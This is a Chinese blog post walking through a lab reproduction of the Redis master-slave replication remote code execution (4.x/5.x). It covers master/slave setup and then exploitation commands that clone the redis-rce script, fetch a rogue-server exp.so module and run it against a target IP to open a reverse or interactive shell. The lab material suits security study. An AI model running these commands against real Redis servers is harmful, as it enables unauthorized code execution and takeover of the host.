redis主从复制RCE

redis主从复制RCE

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!

Redis 主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储[数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

环境准备

redis主机:192.168.47.173
攻击机:192.168.47.163
redis安装可以参考
https://www.cnblogs.com/xinga/articles/16941786.html

首先把安装好的redis之复制两份并重命名为redisnode1以及redisnode
image

接下来,进入这三个目录中做配置。首先把配置文件各自备份一份,然后对redismaster/redis.conf文件进行配置修改,设置日志的路径:logfile “/data/logs/redismaster”。

接着修改redisnode/redis.conf配置文件 ,这里需要对配置文件内容中的服务端口进行修改。因为在master中已经占用了默认端口(6379端口)了,所以这里改为6380这个端口,然后设置 slaveof 127.0.0.1 6379或者slaveof 本机IP 6379,这个端口的服务是本机6379这个端口服务的备份机子。


对redisnode1也做类似的配置修改

注:修改配置salveof 127.0.0.1,如果填写127.0.0.1外网主机连不上redis,如果需要外网连接需要修改为本机IP,所以上面的配置配的是本机IP

三台机子都配置好后,就可以开启这三个服务了。通过执行命令

开三个终端分别启动服务

./redismaster/src/redis-server /redismaster/redis.conf

这样开启了6379端口的master服务;随后开启node的服务,执行命令

./redisnode/src/redisserver /redisnode/redis.conf

最后开启node1的服务,执行命令
./redis/redisnode1/src/redis-server /redisnode1/redis.conf 

如果部署不想这么麻烦的话也可以使用docker直接拉取docker环境方法

docker search redis5.0    //查找镜像
docker pull damonevking/redis5.0   
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server   //映射端口并运行容器

客户端(攻击机)连接查看

image

slave连接查看

image

漏洞利用

git clone https://github.com/Ridter/redis-rce.git   //下载漏洞利用脚本

这个仓库少一个.so的文件,还需要到https://github.com/n0b0dyCN/redis-rogue-server下载文件并放到和redis-rce.py同一目录下

python3 redis-rce.py -r 192.168.47.173(目标ip) -L 192.168.47.163(攻击机) -f exp.so   

image

-r 是反弹,-i 是交互式shell,选择-r 输入反弹的主机和端口

image

参考

Redis基于主从复制的RCE 4.x/5.x 复现_weixin_30408165的博客-CSDN博客

Redis 基于主从复制的 RCE 利用方式 - 腾讯云开发者社区-腾讯云 (tencent.com)

Redis基于主从复制的RCE 4.x/5.x - 知乎 (zhihu.com)

posted @ 2022-12-02 18:31  axing的星空  阅读(842)  评论(0编辑  收藏  举报